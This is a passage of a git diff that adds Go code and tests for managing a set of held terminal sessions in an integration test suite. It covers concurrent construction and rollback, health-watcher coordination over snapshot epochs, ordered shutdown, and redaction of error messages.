waitHeldSessionSetStreams(ctx context.Context, state heldSessionSetStateObserver, expectedCount int, streamIDs []string, present bool, waitState func(context.Context, heldSessionSetStateObserver, client.IOStreamStateExpectation) (client.IOStreamState, error)) error { + group, groupContext := errgroup.WithContext(ctx) + var mu sync.Mutex + var joined error + for _, streamID := range streamIDs { + streamID := streamID + group.Go(func() error { + expectation := client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(expectedCount)} + if present { + expectation.PresentStreamID = streamID + } else { + expectation.AbsentStreamID = streamID + } + _, err := waitState(groupContext, state, expectation) + if err != nil { + mu.Lock() + joined = errors.Join(joined, err) + mu.Unlock() + } + return nil + }) + } + return errors.Join(group.Wait(), joined) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_close.go b/integration/agentcompat/internal/scenario/held_session_set_close.go new file mode 100644 index 00000000..76286b8d --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_close.go @@ -0,0 +1,82 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func newHeldSessionSet(plans []StressSessionPlan, state heldSessionSetStateObserver, baseline client.IOStreamState, dependencies HeldSessionSetDependencies, base context.Context) *heldSessionSet { + return &heldSessionSet{plans: plans, sessions: make([]heldSession, len(plans)), state: state, baseline: baseline, dependencies: dependencies, healthContext: base, healthDone: make(chan struct{}), healthStop: make(chan struct{}), healthShutdown: make(chan struct{}), healthShutdownRequests: make(chan heldHealthShutdownRequest), healthErrors: make([]error, len(plans)), coordinatorDone: make(chan struct{}), closeDone: make(chan struct{})} +} + +func (set *heldSessionSet) rollback(ctx context.Context) error { + ownerContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 30*time.Second) + defer cancel() + return set.closeAll(ownerContext) +} + +func (set *heldSessionSet) Close(ctx context.Context) error { + if err := ctx.Err(); err != nil { + return err + } + set.closeOnce.Do(func() { + set.beginOwnedClose() + if set.healthEvents == nil { + set.markHealthCoordinatorDone() + } + go func() { + ownerContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 30*time.Second) + defer cancel() + ack := make(chan struct{}) + shutdownSent := false + select { + case set.healthShutdownRequests <- heldHealthShutdownRequest{ack: ack}: + shutdownSent = true + case <-set.coordinatorDone: + } + if shutdownSent { + select { + case <-ack: + case <-set.coordinatorDone: + } + } + <-set.coordinatorDone + set.healthWG.Wait() + set.closeError = redactHeldSessionSetError(set.closeAll(ownerContext)) + close(set.closeDone) + }() + }) + select { + case <-set.closeDone: + return set.closeError + case <-ctx.Done(): + return ctx.Err() + } +} + +func (set *heldSessionSet) closeAll(ctx context.Context) error { + var joined error + streamIDs := make([]string, 0, len(set.sessions)) + for index := len(set.sessions) - 1; index >= 0; index-- { + session := set.sessions[index] + if session == nil { + continue + } + joined = errors.Join(joined, session.Close(ctx), session.WaitClosed(ctx)) + streamID, present := session.IOStreamID() + if present && streamID != "" { + streamIDs = append(streamIDs, streamID) + } + } + if len(streamIDs) > 0 { + joined = errors.Join(joined, waitHeldSessionSetStreams(ctx, set.state, set.baseline.Count, streamIDs, false, set.dependencies.WaitState)) + _, aggregateErr := set.dependencies.WaitState(ctx, set.state, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(set.baseline.Count)}) + joined = errors.Join(joined, aggregateErr) + } + return joined +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_health.go b/integration/agentcompat/internal/scenario/held_session_set_health.go new file mode 100644 index 00000000..347002a9 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_health.go @@ -0,0 +1,54 @@ +//go:build linux + +package scenario + +import "context" + +func (set *heldSessionSet) startHealthWatchers() { + set.healthEvents = make(chan heldHealthMessage, len(set.sessions)) + set.healthSnapshots = make([]chan heldHealthSnapshotRequest, len(set.sessions)) + set.healthWatcherDone = make([]chan struct{}, len(set.sessions)) + for index := range set.sessions { + set.healthSnapshots[index] = make(chan heldHealthSnapshotRequest) + set.healthWatcherDone[index] = make(chan struct{}) + } + set.healthCoordinatorWG.Add(1) + go set.runHealthCoordinator() + set.healthWG.Add(len(set.sessions)) + for index, session := range set.sessions { + go set.watchHealth(index, session) + } +} + +func (set *heldSessionSet) markHealthCoordinatorDone() { + set.healthCoordinatorDoneOnce.Do(func() { close(set.coordinatorDone) }) +} + +func (set *heldSessionSet) WaitHealthy(ctx context.Context) error { + select { + case <-set.healthDone: + return set.retainedHealthError() + case <-set.closeDone: + return set.retainedHealthError() + case <-ctx.Done(): + return ctx.Err() + } +} + +func (set *heldSessionSet) Done() <-chan struct{} { return set.healthDone } + +func (set *heldSessionSet) beginOwnedClose() { + set.healthMu.Lock() + set.closing = true + set.healthMu.Unlock() +} + +func (set *heldSessionSet) retainedHealthError() error { + set.healthMu.Lock() + defer set.healthMu.Unlock() + return set.healthError +} + +func (set *heldSessionSet) stopHealthWatchers() { + set.healthStopOnce.Do(func() { close(set.healthStop) }) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_health_coordinator.go b/integration/agentcompat/internal/scenario/held_session_set_health_coordinator.go new file mode 100644 index 00000000..de43057b --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_health_coordinator.go @@ -0,0 +1,234 @@ +//go:build linux + +package scenario + +import "errors" + +const heldSessionSetHealthMemberCount = 12 + +var ErrHeldSessionSetHealthProtocol = errors.New("held session set health protocol failed") + +type heldHealthEvent struct { + index int + err error +} + +type heldHealthSnapshotRequest struct { + epoch int +} + +type heldHealthSnapshot struct { + epoch int + index int + event *heldHealthEvent +} + +type heldHealthMessage struct { + epoch int + event *heldHealthEvent + snapshot *heldHealthSnapshot +} + +type heldHealthShutdownRequest struct { + ack chan struct{} +} + +type heldHealthEpochProtocol struct { + epoch int + seen [heldSessionSetHealthMemberCount]bool + replies int + err error + committed bool +} + +func newHeldHealthEpochProtocol(epoch int) *heldHealthEpochProtocol { + return &heldHealthEpochProtocol{epoch: epoch} +} + +func (protocol *heldHealthEpochProtocol) accept(snapshot heldHealthSnapshot) { + if protocol.err != nil || protocol.committed { + return + } + if snapshot.epoch != protocol.epoch || snapshot.index < 0 || snapshot.index >= heldSessionSetHealthMemberCount || protocol.seen[snapshot.index] { + protocol.err = ErrHeldSessionSetHealthProtocol + return + } + protocol.seen[snapshot.index] = true + protocol.replies++ + if protocol.replies == heldSessionSetHealthMemberCount { + protocol.committed = true + } +} + +func (set *heldSessionSet) watchHealth(index int, session heldSession) { + defer set.healthWG.Done() + defer close(set.healthWatcherDone[index]) + var cached *heldHealthEvent + eventSent := false + closureObserved := false + for { + select { + case <-session.Done(): + if !closureObserved && set.healthClosureObservedHook != nil { + set.healthClosureObservedHook(index) + closureObserved = true + } + if cached == nil { + cached = heldSessionHealthEvent(index, session) + } + if !eventSent { + select { + case set.healthEvents <- heldHealthMessage{epoch: 1, event: cached}: + if set.healthEventHook != nil { + set.healthEventHook(heldHealthMessage{epoch: 1, event: cached}) + } + eventSent = true + case <-set.healthStop: + return + } + } + case request := <-set.healthSnapshots[index]: + if set.healthSnapshotRequestHook != nil { + set.healthSnapshotRequestHook(index) + } + select { + case <-session.Done(): + if !closureObserved && set.healthClosureObservedHook != nil { + set.healthClosureObservedHook(index) + closureObserved = true + } + cached = heldSessionHealthEvent(index, session) + default: + } + message := &heldHealthSnapshot{epoch: request.epoch, index: index, event: cached} + if set.healthSnapshotOverrideHook != nil { + if override := set.healthSnapshotOverrideHook(index, request); override != nil { + message = override + } + } + if set.healthSnapshotSendHook != nil { + set.healthSnapshotSendHook(index) + } + select { + case set.healthEvents <- heldHealthMessage{epoch: request.epoch, snapshot: message}: + if set.healthEventHook != nil { + set.healthEventHook(heldHealthMessage{epoch: request.epoch, snapshot: message}) + } + case <-set.healthStop: + return + } + if set.healthSnapshotReplyHook != nil { + set.healthSnapshotReplyHook(index) + } + case <-set.healthStop: + return + } + } +} + +func heldSessionHealthEvent(index int, session heldSession) *heldHealthEvent { + errorValue := redactHeldSessionSetHealthError(session.CloseResult()) + if errorValue == nil { + errorValue = redactHeldSessionSetHealthError(ErrHeldSessionPrematureClose) + } + return &heldHealthEvent{index: index, err: errorValue} +} + +func (set *heldSessionSet) runHealthCoordinator() { + defer set.healthCoordinatorWG.Done() + defer set.markHealthCoordinatorDone() + for { + select { + case message := <-set.healthEvents: + if message.event != nil { + set.commitHealthEpoch(*message.event, 1, nil) + return + } + case request := <-set.healthShutdownRequests: + if set.healthShutdownAcceptedHook != nil { + set.healthShutdownAcceptedHook() + } + set.commitHealthEpoch(heldHealthEvent{index: heldSessionSetHealthMemberCount}, 1, request.ack) + return + case <-set.healthStop: + return + } + } +} + +func (set *heldSessionSet) commitHealthEpoch(trigger heldHealthEvent, epoch int, shutdownAck chan struct{}) { + shutdownAcknowledgement := shutdownAck + acknowledgeShutdown := func() { + if shutdownAcknowledgement != nil { + close(shutdownAcknowledgement) + if set.healthShutdownAcknowledgedHook != nil { + set.healthShutdownAcknowledgedHook() + } + shutdownAcknowledgement = nil + } + } + for index := range set.healthSnapshots { + select { + case set.healthSnapshots[index] <- heldHealthSnapshotRequest{epoch: epoch}: + case <-set.healthStop: + acknowledgeShutdown() + return + } + } + best := trigger + protocol := newHeldHealthEpochProtocol(epoch) + acceptedSnapshots := [heldSessionSetHealthMemberCount]bool{} + for protocol.replies < len(set.healthSnapshots) { + select { + case message := <-set.healthEvents: + if message.event != nil { + if shutdownAcknowledgement != nil && !acceptedSnapshots[message.event.index] && message.event.index < best.index { + best = *message.event + } + continue + } + if message.snapshot == nil { + continue + } + protocol.accept(*message.snapshot) + if protocol.err != nil { + set.commitHealthError(redactHeldSessionSetHealthError(protocol.err)) + set.stopHealthWatchers() + set.healthWG.Wait() + acknowledgeShutdown() + return + } + if set.healthSnapshotAcceptedHook != nil { + set.healthSnapshotAcceptedHook(*message.snapshot) + } + acceptedSnapshots[message.snapshot.index] = true + if message.snapshot.event != nil && message.snapshot.event.index < best.index { + best = *message.snapshot.event + } + case <-set.healthStop: + acknowledgeShutdown() + return + case request := <-set.healthShutdownRequests: + if set.healthShutdownAcceptedHook != nil { + set.healthShutdownAcceptedHook() + } + shutdownAcknowledgement = request.ack + } + } + set.commitHealthError(best.err) + set.stopHealthWatchers() + set.healthWG.Wait() + acknowledgeShutdown() +} + +func (set *heldSessionSet) commitHealthError(err error) { + if err == nil { + return + } + set.healthMu.Lock() + defer set.healthMu.Unlock() + if set.healthError == nil { + set.healthError = err + set.healthDoneOnce.Do(func() { close(set.healthDone) }) + } +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_health_epoch_test.go b/integration/agentcompat/internal/scenario/held_session_set_health_epoch_test.go new file mode 100644 index 00000000..5d4f197f --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_health_epoch_test.go @@ -0,0 +1,246 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sort" + "testing" + + "github.com/stretchr/testify/require" +) + +func collectHealthIndexes(events <-chan int) []int { + indexes := make([]int, 0, heldSessionSetHealthMemberCount) + for index := 0; index < heldSessionSetHealthMemberCount; index++ { + indexes = append(indexes, <-events) + } + return indexes +} + +func TestHeldSessionSetHealthActiveEpochCompletesEveryRequestBeforeShutdown(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + requestIndexes := make(chan int, heldSessionSetHealthMemberCount) + replyIndexes := make(chan int, heldSessionSetHealthMemberCount) + releaseBroadcast := make(chan struct{}) + broadcastReached := make(chan struct{}) + fixture.input.testHealthSnapshotRequestHook = func(index int) { + requestIndexes <- index + if index == 5 { + close(broadcastReached) + <-releaseBroadcast + } + } + fixture.input.testHealthSnapshotReplyHook = func(index int) { replyIndexes <- index } + set := fixture.returnedSet(t) + fixture.coordinator.sessions[11].closeResult = errors.New("active epoch trigger") + closeStarted := make(chan struct{}) + fixture.coordinator.sessions[11].closeStarted = closeStarted + fixture.coordinator.sessions[11].prematureClose() + <-broadcastReached + closeResult := make(chan error, 1) + go func() { closeResult <- set.Close(context.Background()) }() + close(releaseBroadcast) + require.NoError(t, <-closeResult) + <-closeStarted + select { + case <-set.coordinatorDone: + default: + t.Fatal("member Close started before coordinator completion") + } + requests := collectHealthIndexes(requestIndexes) + replies := collectHealthIndexes(replyIndexes) + sort.Ints(requests) + sort.Ints(replies) + require.Equal(t, requests, replies) + require.Equal(t, []int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}, requests) + require.Error(t, set.WaitHealthy(context.Background())) +} + +func TestHeldSessionSetHealthFinalCutRetainsAcceptedSnapshotAgainstLaterClosure(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + highEventSent := make(chan struct{}) + shutdownAccepted := make(chan struct{}) + shutdownAcknowledged := make(chan struct{}) + indexZeroSendReady := make(chan struct{}) + indexZeroSendAllowed := make(chan struct{}) + indexZeroAccepted := make(chan struct{}) + indexZeroClosureObserved := make(chan struct{}) + releaseOtherSnapshots := make(chan struct{}) + lateClosure := errors.New("late closure") + fixture.input.testHealthEventHook = func(message heldHealthMessage) { + if message.event != nil && message.event.index == 11 { + close(highEventSent) + } + } + fixture.input.testHealthShutdownAcceptedHook = func() { close(shutdownAccepted) } + fixture.input.testHealthShutdownAcknowledgedHook = func() { close(shutdownAcknowledged) } + fixture.input.testHealthSnapshotAcceptedHook = func(snapshot heldHealthSnapshot) { + if snapshot.index == 0 { + close(indexZeroAccepted) + } + } + fixture.input.testHealthSnapshotSendHook = func(index int) { + if index == 0 { + close(indexZeroSendReady) + <-indexZeroSendAllowed + } else { + <-releaseOtherSnapshots + } + } + fixture.input.testHealthClosureObservedHook = func(index int) { + if index == 0 { + close(indexZeroClosureObserved) + } + } + set := fixture.returnedSet(t) + triggerError := errors.New("trigger") + fixture.coordinator.sessions[11].closeResult = triggerError + fixture.coordinator.sessions[11].prematureClose() + <-highEventSent + closeResult := make(chan error, 1) + go func() { closeResult <- set.Close(context.Background()) }() + <-indexZeroSendReady + <-shutdownAccepted + close(indexZeroSendAllowed) + <-indexZeroAccepted + select { + case <-fixture.closeOrder: + t.Fatal("member cleanup started before remaining snapshots were released") + default: + } + fixture.coordinator.sessions[0].closeResult = lateClosure + fixture.coordinator.sessions[0].prematureClose() + <-indexZeroClosureObserved + select { + case <-fixture.closeOrder: + t.Fatal("member cleanup started before blocked snapshots were released") + default: + } + close(releaseOtherSnapshots) + require.NoError(t, <-closeResult) + require.ErrorIs(t, set.WaitHealthy(context.Background()), triggerError) + require.NotErrorIs(t, set.WaitHealthy(context.Background()), lateClosure) + <-shutdownAcknowledged + <-set.coordinatorDone + for _, watcherDone := range set.healthWatcherDone { + <-watcherDone + } + <-set.closeDone + for index := 11; index >= 0; index-- { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } +} + +func TestHeldSessionSetHealthEpochRejectsDuplicateReply(t *testing.T) { + protocol := newHeldHealthEpochProtocol(1) + protocol.accept(heldHealthSnapshot{epoch: 1, index: 0}) + protocol.accept(heldHealthSnapshot{epoch: 1, index: 0}) + for index := 1; index < heldSessionSetHealthMemberCount; index++ { + protocol.accept(heldHealthSnapshot{epoch: 1, index: index}) + } + require.ErrorIs(t, protocol.err, ErrHeldSessionSetHealthProtocol) + require.False(t, protocol.committed) +} + +func TestHeldSessionSetHealthEpochRejectsOutOfRangeReply(t *testing.T) { + protocol := newHeldHealthEpochProtocol(1) + protocol.accept(heldHealthSnapshot{epoch: 1, index: heldSessionSetHealthMemberCount}) + require.ErrorIs(t, protocol.err, ErrHeldSessionSetHealthProtocol) + require.False(t, protocol.committed) +} + +func TestHeldSessionSetHealthEpochRejectsMissingIndexSubstitution(t *testing.T) { + protocol := newHeldHealthEpochProtocol(1) + for index := 0; index < heldSessionSetHealthMemberCount-1; index++ { + protocol.accept(heldHealthSnapshot{epoch: 1, index: index}) + } + protocol.accept(heldHealthSnapshot{epoch: 1, index: heldSessionSetHealthMemberCount - 2}) + require.ErrorIs(t, protocol.err, ErrHeldSessionSetHealthProtocol) + require.False(t, protocol.committed) +} + +func TestHeldSessionSetHealthProtocolErrorAcknowledgesShutdownAndFinishes(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + requestReached := make(chan struct{}) + releaseRequest := make(chan struct{}) + fixture.input.testHealthSnapshotRequestHook = func(index int) { + if index != 4 { + return + } + close(requestReached) + <-releaseRequest + } + set := fixture.returnedSet(t) + fixture.coordinator.sessions[11].closeResult = sensitiveError("protocol-trigger") + fixture.coordinator.sessions[11].prematureClose() + <-requestReached + closeResult := make(chan error, 1) + go func() { closeResult <- set.Close(context.Background()) }() + set.healthEvents <- heldHealthMessage{snapshot: &heldHealthSnapshot{epoch: 1, index: heldSessionSetHealthMemberCount}} + close(releaseRequest) + require.NoError(t, <-closeResult) + require.ErrorIs(t, set.WaitHealthy(context.Background()), ErrHeldSessionSetHealthProtocol) + require.ErrorIs(t, set.WaitHealthy(context.Background()), ErrHeldSessionSetHealth) + require.Equal(t, "held session set health failed", set.WaitHealthy(context.Background()).Error()) + <-set.coordinatorDone + set.healthWG.Wait() +} + +func TestHeldSessionSetHealthEpochIncludesCloseBeforeOpenReply(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + fixture.input.testHealthSnapshotRequestHook = func(index int) { + if index == 0 { + fixture.coordinator.sessions[0].prematureClose() + } + } + fixture.input.testHealthSnapshotReplyHook = func(int) {} + set := fixture.returnedSet(t) + highError := sensitiveError("epoch-high") + lowError := sensitiveError("epoch-low") + fixture.coordinator.sessions[11].closeResult = highError + fixture.coordinator.sessions[0].closeResult = lowError + fixture.coordinator.sessions[11].prematureClose() + err := set.WaitHealthy(context.Background()) + require.ErrorIs(t, err, lowError) + require.NotErrorIs(t, err, highError) + require.Equal(t, "held session set health failed", err.Error()) + require.NotContains(t, err.Error(), "secret-token") + require.NoError(t, set.Close(context.Background())) +} + +func TestHeldSessionSetHealthEpochExcludesCloseAfterOpenReply(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + fixture.input.testHealthSnapshotRequestHook = func(int) {} + fixture.input.testHealthSnapshotReplyHook = func(index int) { + if index == 0 { + fixture.coordinator.sessions[0].prematureClose() + } + } + set := fixture.returnedSet(t) + highError := sensitiveError("epoch-high") + lowError := sensitiveError("epoch-low") + fixture.coordinator.sessions[11].closeResult = highError + fixture.coordinator.sessions[0].closeResult = lowError + fixture.coordinator.sessions[11].prematureClose() + err := set.WaitHealthy(context.Background()) + require.ErrorIs(t, err, highError) + require.NotErrorIs(t, err, lowError) + require.Equal(t, "held session set health failed", err.Error()) + require.NoError(t, set.Close(context.Background())) +} + +func TestHeldSessionSetHealthEpochCommitsWithoutUnrelatedDone(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + triggerError := sensitiveError("epoch-trigger") + fixture.coordinator.sessions[11].closeResult = triggerError + fixture.coordinator.sessions[11].prematureClose() + err := set.WaitHealthy(context.Background()) + require.ErrorIs(t, err, triggerError) + require.Equal(t, "held session set health failed", err.Error()) + require.NoError(t, set.Close(context.Background())) + require.ErrorIs(t, set.WaitHealthy(context.Background()), triggerError) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_close_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_close_test.go new file mode 100644 index 00000000..27dc004c --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_close_test.go @@ -0,0 +1,68 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicCloseJoinsReverseCleanupAndStateErrors(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + closeError := sensitiveError("close") + waitClosedError := sensitiveError("wait-closed") + stateError := sensitiveError("absent") + for index, session := range fixture.coordinator.sessions { + if index%3 == 0 { + session.closeError = closeError + } + if index%4 == 0 { + session.waitClosedError = waitClosedError + } + } + fixture.state.absentAggregateError = stateError + err := set.Close(context.Background()) + require.Error(t, err) + require.ErrorIs(t, err, closeError) + require.ErrorIs(t, err, waitClosedError) + require.ErrorIs(t, err, stateError) + require.Equal(t, "held session set operation failed", err.Error()) + require.NotContains(t, err.Error(), "secret-token") + for index := 11; index >= 0; index-- { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } + require.Len(t, fixture.state.absent, 12) +} + +func TestHeldSessionSetPublicConcurrentAndCanceledCloseShareOwnerResult(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + closeError := errors.New("owner close error") + fixture.coordinator.sessions[0].closeError = closeError + closeStarted := make(chan struct{}) + closeRelease := make(chan struct{}) + fixture.coordinator.sessions[11].closeStarted = closeStarted + fixture.coordinator.sessions[11].closeRelease = closeRelease + ownerResult := make(chan error, 1) + go func() { ownerResult <- set.Close(context.Background()) }() + <-closeStarted + canceled, cancel := context.WithCancel(context.Background()) + waiterResult := make(chan error, 1) + go func() { waiterResult <- set.Close(canceled) }() + cancel() + require.ErrorIs(t, <-waiterResult, context.Canceled) + close(closeRelease) + require.ErrorIs(t, <-ownerResult, closeError) + thirdResult := set.Close(context.Background()) + require.ErrorIs(t, thirdResult, closeError) + require.Equal(t, "held session set operation failed", thirdResult.Error()) + for index := 11; index >= 0; index-- { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_failures_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_failures_test.go new file mode 100644 index 00000000..c9403561 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_failures_test.go @@ -0,0 +1,231 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicConstructorFailureRollsBackEverySuccess(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + firstError := sensitiveError("constructor-first") + secondError := sensitiveError("constructor-second") + fixture.coordinator.errors[fixture.plan.Sessions[2].ID.String()] = firstError + fixture.coordinator.errors[fixture.plan.Sessions[7].ID.String()] = secondError + fixture.coordinator.errorReady[2] = make(chan struct{}) + fixture.coordinator.errorReady[7] = make(chan struct{}) + result := make(chan error, 1) + go func() { _, err := NewHeldSessionSet(context.Background(), fixture.input); result <- err }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.coordinator.releaseAll() + for _, index := range []int{0, 1, 3, 4, 5, 6, 8, 9, 10, 11} { + fixture.coordinator.release(index) + } + completed := make([]heldSessionConstructorCompletion, 0, len(fixture.plan.Sessions)) + acquired := make([]int, 0, 10) + for range []int{0, 1, 3, 4, 5, 6, 8, 9, 10, 11} { + completion := <-fixture.coordinator.completed + completed = append(completed, completion) + acquired = append(acquired, <-fixture.coordinator.acquired) + } + fixture.coordinator.release(2) + fixture.coordinator.releaseError(2) + firstCompletion := <-fixture.coordinator.completed + completed = append(completed, firstCompletion) + require.Equal(t, firstError, firstCompletion.err) + fixture.coordinator.release(7) + fixture.coordinator.releaseError(7) + secondCompletion := <-fixture.coordinator.completed + completed = append(completed, secondCompletion) + require.Equal(t, secondError, secondCompletion.err) + err := <-result + require.Error(t, err) + require.ErrorIs(t, err, firstError) + require.ErrorIs(t, err, secondError) + require.NotContains(t, err.Error(), "secret-token") + require.NotContains(t, err.Error(), "secret-path") + require.ElementsMatch(t, []int{0, 1, 3, 4, 5, 6, 8, 9, 10, 11}, acquired) + wantRollback := []int{11, 10, 9, 8, 6, 5, 4, 3, 1, 0} + for _, index := range wantRollback { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } + require.ElementsMatch(t, acquiredStreamIDs(fixture, acquired), fixture.state.absent) +} + +func TestHeldSessionSetPublicConstructorFailureCancelsSiblingAcquisition(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + trigger := sensitiveError("constructor-trigger") + blockedIndex := 7 + fixture.coordinator.blockedIndex = blockedIndex + fixture.coordinator.blockedWaiting = make(chan struct{}, 1) + fixture.coordinator.blockedCanceled = make(chan struct{}, 1) + triggerIndex := 2 + fixture.coordinator.errors[fixture.plan.Sessions[triggerIndex].ID.String()] = trigger + fixture.coordinator.errorReady[triggerIndex] = make(chan struct{}) + outerContext := context.Background() + result := make(chan error, 1) + go func() { _, err := NewHeldSessionSet(outerContext, fixture.input); result <- err }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.coordinator.releaseAll() + for _, index := range []int{0, 1, 3, 4, 5, 6, 8, 9, 10, 11} { + fixture.coordinator.release(index) + } + for range []int{0, 1, 3, 4, 5, 6, 8, 9, 10, 11} { + completion := <-fixture.coordinator.completed + require.NoError(t, completion.err) + <-fixture.coordinator.acquired + } + fixture.coordinator.release(blockedIndex) + select { + case <-fixture.coordinator.blockedWaiting: + case <-time.After(time.Second): + t.Fatal("blocked constructor did not start") + } + fixture.coordinator.release(triggerIndex) + fixture.coordinator.releaseError(triggerIndex) + triggerCompletion := <-fixture.coordinator.completed + require.ErrorIs(t, triggerCompletion.err, trigger) + select { + case <-fixture.coordinator.blockedCanceled: + case <-time.After(time.Second): + t.Fatal("sibling constructor was not canceled") + } + require.ErrorIs(t, <-result, trigger) + select { + case <-outerContext.Done(): + t.Fatal("outer context was canceled") + default: + } + for _, index := range []int{11, 10, 9, 8, 6, 5, 4, 3, 1, 0} { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } +} + +func TestHeldSessionSetPublicCanceledConstructionWaitsAndRollsBack(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + fixture.coordinator.lateSuccessIndex = 11 + fixture.coordinator.lateSuccessWaiting = make(chan struct{}, 1) + fixture.coordinator.lateSuccessReady = make(chan struct{}, 1) + fixture.coordinator.lateSuccessRelease = make(chan struct{}) + ctx, cancel := context.WithCancel(context.Background()) + result := make(chan error, 1) + go func() { _, err := NewHeldSessionSet(ctx, fixture.input); result <- err }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + for _, index := range []int{0, 4} { + fixture.coordinator.release(index) + } + fixture.coordinator.releaseAll() + for range []int{0, 4} { + <-fixture.coordinator.acquired + } + <-fixture.coordinator.lateSuccessWaiting + cancel() + fixture.coordinator.release(11) + <-fixture.coordinator.lateSuccessReady + close(fixture.coordinator.lateSuccessRelease) + err := <-result + require.ErrorIs(t, err, context.Canceled) + completions := make([]heldSessionConstructorCompletion, 0, len(fixture.plan.Sessions)) + for range fixture.plan.Sessions { + completions = append(completions, <-fixture.coordinator.completed) + } + require.ElementsMatch(t, []int{0, 4, 11}, completionIndexes(completions, true)) + require.ElementsMatch(t, []int{1, 2, 3, 5, 6, 7, 8, 9, 10}, completionIndexes(completions, false)) + require.Equal(t, []int{11, 4, 0}, collectOrder(fixture.closeOrder, 3)) + require.Equal(t, []int{11, 4, 0}, collectOrder(fixture.waitOrder, 3)) + require.ElementsMatch(t, acquiredStreamIDs(fixture, []int{0, 4, 11}), fixture.state.absent) +} + +func completionIndexes(completions []heldSessionConstructorCompletion, acquired bool) []int { + indexes := make([]int, 0, len(completions)) + for _, completion := range completions { + if completion.acquired == acquired { + indexes = append(indexes, completion.index) + } + } + return indexes +} + +func acquiredStreamIDs(fixture *heldSessionSetPublicFixture, indexes []int) []string { + ids := make([]string, 0, len(indexes)) + for _, index := range indexes { + ids = append(ids, fixture.coordinator.sessions[index].streamID) + } + return ids +} + +func collectOrder(events <-chan int, count int) []int { + order := make([]int, 0, count) + for index := 0; index < count; index++ { + order = append(order, <-events) + } + return order +} + +func TestHeldSessionSetPublicAllLiveFailuresCloseMembers(t *testing.T) { + cases := []struct { + name string + mutate func(*heldSessionSetPublicFixture) + want error + }{ + {name: "wait live", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.coordinator.sessions[0].waitLiveError = sensitiveError("live") + }, want: ErrHeldSessionSetOperation}, + {name: "wrong plan", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.coordinator.sessions[0].plan.Ordinal++ }, want: ErrHeldSessionSetOperation}, + {name: "empty stream", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.coordinator.sessions[0].streamID = "" }, want: ErrHeldSessionSetOperation}, + {name: "duplicate stream", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.coordinator.sessions[1].streamID = fixture.coordinator.sessions[0].streamID + }, want: ErrHeldSessionSetOperation}, + {name: "present state", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.state.presentAggregateError = sensitiveError("present") + }, want: ErrHeldSessionSetOperation}, + {name: "aggregate state", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.state.presentAggregateError = sensitiveError("aggregate") + }, want: ErrHeldSessionSetOperation}, + {name: "closed before return", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.coordinator.sessions[0].prematureClose() + fixture.coordinator.sessions[0].closeResult = sensitiveError("closed") + }, want: ErrHeldSessionSetOperation}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + testCase.mutate(fixture) + result := make(chan error, 1) + go func() { _, err := NewHeldSessionSet(context.Background(), fixture.input); result <- err }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.releaseConstructors() + err := <-result + require.ErrorIs(t, err, testCase.want) + require.NotContains(t, err.Error(), "secret-token") + }) + } +} + +func TestHeldSessionSetPublicTopologyFailureHasNoSideEffects(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + fixture.input.ControlClient = nil + fixture.input.Dependencies = HeldSessionSetDependencies{Terminal: func(context.Context, heldTerminalInput) (heldSession, error) { 